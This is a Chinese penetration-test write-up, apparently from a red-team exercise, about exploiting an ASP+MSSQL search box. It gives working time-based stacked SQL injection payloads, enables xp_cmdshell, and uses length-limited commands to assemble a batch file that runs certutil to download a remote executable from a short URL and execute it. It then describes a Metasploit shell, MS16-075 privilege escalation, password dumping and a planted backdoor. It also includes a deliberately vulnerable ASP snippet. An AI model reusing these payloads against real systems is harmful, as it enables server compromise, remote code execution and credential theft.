记一次asp+mssql的注入和命令执行(已脱敏)

  • 前言
  • 复现
  • 总结

本文已经首发于freebuff
asp+mssql的注入和命令执行(已脱敏)

前言

前一段时间参加了一个活动,这一段时间学习了不少的东西,自己的知识提升的也比较快,这里选择几个比较典型的例子来分享一下,因为相关站点保密,所以均脱敏并且尽可能本地复现环境,这些例子也会分几篇文章来进行记录

复现

首先进行信息收集,之后发现在一个高端口开着一个论坛服务,于是打开站点进行常规的测试,在用户名处,在搜索框处,在输入单引号之后得到报错,我的输入有错误,这很有可能就是注入点,因为我之前没有做过asp+mssql的注入,于是马上去请教了大佬,因为站点是get传参,大佬经过测试发现可以通过post传参(应该是使用了asp的Request.Form函数),因为站点内没有内容,所以不能通过bool盲注,但是可以通过堆叠时间盲注进行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --这里可以通过burp的测试器进行测试,把a-z0-9添加到字典中,之后进行枚举,判断返回时间,下面举个例子

枚举到t时得到延时5秒,证明数据库的第一个字符为t

接下来使用burp的测试器
修改要测试的位置

添加字典

修改线程

查看结果

按时间排序

得到数据库的下一位为e,接下来得到数据库名称。
判断用户是否为dba权限
';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--,但是执行这个代码发现没有延时,无论是<1还是>=1都没有回显,可能是因为手工的方式不太对,所以丢到sqlmap

发现可以注入,之后使用--is-dba 判断是否为dba权限

不是dba权限,继续注入出其他数据库--dbs

发现没有回显,而且sqlmap没有检测出waf,所以就要分析一下payload和后端的问题了,想到这里是搜索框,并且默认是get传参,那么是不是可能限制了字符串长度,于是修改payload为';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --通过调整单引号长度,来测试最大为多大长度时可以延时,经过枚举,发现后端的长度限制为60,那么在注入的时候就只能通过存储过程来注入,这样是非常麻烦的,还有一种办法就是通过mssql的xp_cmdshell函数来执行命令,当然因为前面有对字符串的长度有限制,所以每次执行的命令长度也有限制,';exec master..xp_cmdshell ''--为执行命令的基本长度,为31,所以我们执行命令的长度最大为29,而且还要考虑杀软的问题,因为经过本地测试,如果存在杀软,那么命令是无法执行成功的

哪怕是ping命令甚至是错误的命令都不能执行,所以要对目标是否存在杀软进行测试,
';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--执行之后等待了4秒,成功得到回显,证明对面目标没有杀软或者杀软不为测试的某卫士
想到可以通过系统的下载命令进行下载,配合上短域名即可实现文件下载,但是经过测试,常规的下载命令,配合短域名之后长度会达到34位

而且还会涉及下载目录问题,还有下载的文件的执行问题。
在之前复现phpstudy命令执行漏洞写shell的时候学习到了在系统下echo 123>1.txtecho 123>>1.txt两种写入方式的区别,通过第二种方式即可实现写入文件,于是进行本地复现

经过写入两次文件,但是命令根本不在一行,这样是无法执行的,这时候想起了之前在ctfhub上面做的命令执行,想到在linux下可以通过拼接来绕过过滤,实现命令执行,那么windows下是不是也可以呢,找到了度娘,可以通过以下方式来进行字符串拼接

@echo off
set a=certuti
set b=l -urlca
set q=%a%%b%

于是把下载的命令进行构造
certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe
经过字符串拼接,现在本地进行测试,

@echo off
set a=certuti
set b=l -urlca
set q=%a%%b%
set a=che -spl
set q=%q%%a%
set a=it -f ht
set q=%q%%a%
set a=tp://suo
set q=%q%%a%
set a=.im/5UEW
set q=%q%%a%
set a=nn
set q=%q%%a%
set a=%%temp%%
set q=%q%%a%
set a=/1.exe
set q=%q%%a%
echo %q%
pause


发现已经拼接成功,并且可以执行,所以进行构造payload
';exec master..xp_cmdshell 'echo >>%temp/6.bat'--为需要的最基本的长度。为45个字符
而且还需要保证字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--为61个字符,这样已经不能够正常的执行命令,所以要对payload进行缩减,把写入文件的扩展名去掉,在写完文件之后使用copy命令进行重命名
所以payload为';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--,经过构造得到完整的payload

';exec master..xp_cmdshell 'echo @echo off>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=certuti>>%temp%/3'--
';exec master..xp_cmdshell 'echo set b=l -urlca>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=che -spl>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=it -f ht>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=tp://suo>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=.im/5UEW>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=nn >>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=%%temp%%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo set a=/1.exe>>%temp%/3'--
';exec master..xp_cmdshell 'echo set q=%q%%a%>>%temp%/3'--
';exec master..xp_cmdshell 'echo %q%>>%temp%/3'--
';exec master..xp_cmdshell 'copy %temp%\3 %temp%\3.bat'--
';exec master..xp_cmdshell '%temp%\3.bat'--
';exec master..xp_cmdshell '%temp%\1.exe'--

思路就是通过把命令写入文件,之后通过copy命令把无后缀的文件变成bat,进行执行里面的下载命令,远程下载muma到指定目录,之后通过命令执行来运行muma,当然还要先测试目标是否出网和是否是dba,开启了xp_cmdshell

';EXEC sp_configure 'show advanced options', 1;--
';RECONFIGURE;--
';EXEC sp_configure 'xp_cmdshell', 1;--
';RECONFIGURE;
';exec master..xp_cmdshell 'ftp x.x.x.x'--

在服务器执行nc -lvvp 21
如果有回显,证明目标可以执行命令并且出网

接下来首先进行本地测试,测试命令是否执行成功,能否成功写入文件,

发现命令已经执行成功,但是没有写入文件,于是修改asp代码,显示sql语句,下面是我本地复现的代码

<%
mssql_datahost = "127.0.0.1"'数据库地址mssql_dataname="test" '数据库名称mssql_username = "sa" '数据库用户名mssql_password = "Aa123456" '数据库密码connstr = "Provider = Sqloledb; User ID = "&mssql_username&"; Password = "&mssql_password&"; Initial Catalog = "&mssql_dataname&"; Data Source = 127.0.0.1,1433;"Set conn = Server.CreateObject("ADODB.CONNECTION")conn.Open connstr
'string keyword = Request.Form ["keyword"]
'StrSql = "Select * from test where id ='" & keyword
'StrSql = StrSql &"'"dim keyword
keyword=Request.Form("keyword")
keyword=left(keyword,60)
StrSql = "Select * from test where id ='" & keyword & "'"
Response.Write(StrSql)
Conn.Execute(StrSql)
%>

发现是%没有编码,在post传参中被url解码消失了,所以修改payload

';exec%20master..xp_cmdshell%20'echo%20@echo%20off>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=certuti>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20b=l%20-urlca>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25a%25%25b%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=che%20-spl>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=it%20-f%20ht>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=tp://suo>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=.im/5UEW>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=nn%20>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=%25%25temp%25%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20a=/1.exe>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20set%20q=%25q%25%25a%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'echo%20%25q%25>>%25temp%25/3'--
';exec%20master..xp_cmdshell%20'copy%20%25temp%25\3%20%25temp%25\3.bat'--
';exec%20master..xp_cmdshell%20'%25temp%25\3.bat'--
';exec%20master..xp_cmdshell%20'%25temp%25\1.exe'--

执行之后,msf收到shell,查看权限

通过tasklist命令查看是否存在杀软和本地运行的进程
因为本地权限较低,所以需要提权抓取密码

use post/multi/recon/local_exploit_suggester

使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻击目标提权的漏洞利用的exp模块。
之后使用ms16075进行本地提权

获得system权限,抓取密码

接下来因为kali的vmtools出现一些问题,因为我已经使用了msf自带的功能添加了后门,所以我对虚拟机进行了重启,在之后的两天,我都会把我的msf打开,等待我的shell回来,我想死他了

总结

因为之前对asp+mssql没有过接触,所以刚一碰到目标的时候很麻爪,包括在进行权限维持和横向的时候,还没来得及做,就已经被发现了,之前使用msf的时候都是在自己的虚拟机里,环境和真实环境肯定有很多差异,而且,msf的反弹使用了meterpreter,并且没有使用rc4或者https来加密流量,导致权限只拿下来了2个小时就被防守方发现,并且关闭了网站,越学发现自己越菜,立一个小目标吧,未来几天把mssql常见的写文件,执行命令以及不同命令下某卫士的反应进行一个测试,争取在10天左右完成本次演习的总结和复现。

记一次asp+mssql的注入和命令执行(已脱敏)相关推荐

  1. Apache Solr Velocity 注入远程命令执行漏洞复现 (CVE-2019-17558)

    漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台. 其主要功能包括全文检索.命中标示.分面搜索.动态聚类.数据库集成,以及富文本的处理. 2019年10月30日,国外安全研究人员放 ...

  2. mysql注入到命令执行 | 提权

    文章首发公众号:闪光的自留地 知乎:Sp4rkW GITHUB:Sp4rkW B站:一只技术君 博客:https://sp4rkw.blog.csdn.net/ 联系邮箱:getf_own@163.c ...

  3. apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558)

    Apache Solr 是一个开源的搜索服务器. 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令. 具体漏洞原理和POC可以参考: https ...

  4. mssql堆叠注入利用总结

    mssql堆叠注入利用总结 前言 环境 写webshell xp_dirtree xp_dirtree杀软反应 xp_cmdshell xp_cmdshell杀软反应 通过命令执行拿shell 无杀软 ...

  5. ASP+MSSQL注入工具 web版 beta 3 final release

    ASP+MSSQL注入工具 web版 beta 3 final release 2007-10-01 12:17:14 标签:ASP web MSSQL [推送到技术圈] 文章作者:MIKA[EST] ...

  6. Asp.net SQL注入实例分享

     Asp.net SQL注入实例分享 1.web.config里加链接字段: <configuration><connectionStrings ><add name ...

  7. web渗透(asp数字型注入模拟实战)

    昨晚花了一整晚的时间找一套没有防注入的网站源码,太难找了,今天六点多就起床,终于找到了.(原谅我笨) 打开虚拟机→打开asp小旋风→将网站程序放到asp小旋风下的wwwroot目录,打开网址http: ...

  8. MSSQL数据库注入(一)

    1. MSSQL注入手工联合注入 mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点. (例如:在m ...

  9. 记一次服务器被木马注入攻击

    1. 背景 我们的服务器部署在某云上,这台服务器的配置是8核16G,用途是GitLab和VPN.环境是内网通讯,公司无专业的运维工程师. 2. 发现 2022年01月的某一天,项目成员反馈GitLab ...

最新文章

  1. java.lang包怎么用_java.lang.io包的使用
  2. DockPanel Suite 开源WINFORM 窗体停靠面板控件
  3. 快打开《来自艾泽拉斯的一封密码信》,破译网易重大机密
  4. boost::units::information相关的测试程序
  5. 如何手动连上mysql_如何手动安装MySql
  6. PCM设备的作用,为什么要选用PCM设备?
  7. java -1%3_java学习笔记(day23)
  8. 人工神经网络----Hebbian学习规则
  9. SQL Server-【知识与实战I】条件查询、比较运算符查询、模糊查询、枚举查询、范围查询、空值查询、多重条件查询
  10. iphone编程,使用代码结束程序
  11. WinServer2003秘笈放送
  12. 乐高mindstormsev3_lego mindstorms ev3下载-乐高EV3机器人编程软件1.3.1 家庭版-东坡下载...
  13. 对计算机硬盘进行格式化时,在安装操作系统之前,如何对硬盘进行分区和格式化(新手必看)...
  14. h5游戏网站源码_从WEB前端角度看H5游戏开发
  15. 如何锁定计算机桌面图标,解决win7、win10系统怎么锁定电脑桌面图标
  16. Go语言基础:结构体
  17. wps文字如何取消英文首字母输入时自动变大写
  18. 如何判断手机浏览器是否有安全隐患?
  19. 2876: [Noi2012]骑行川藏
  20. 明日立秋 autumn begins,天气渐凉

热门文章

  1. GB/T 20272-2006与GB/T 20008-2005
  2. 3D激光SLAM:LeGO-LOAM论文解读---激光雷达里程计与建图
  3. AB测试——流程介绍(设计实验)
  4. 超赞 不愧是美团内部的JVM学习手册,从头到尾全是精华
  5. 计算机丢失文件无法打开ae,ae工程文件打开提示素材丢失该怎么办?
  6. hadoop生态圈的理解
  7. 为什么电磁炉加热一会就停了 电磁炉加热原理与维修技巧一点通_电磁炉电路图讲解
  8. TokenGazer评级丨Monero:XMR缓慢发行损害矿工利益,去中心化治理带来社区分裂风险...
  9. Kinect2.0 UI交互 InteractionManager脚本
  10. Multiple Selections in PyCharm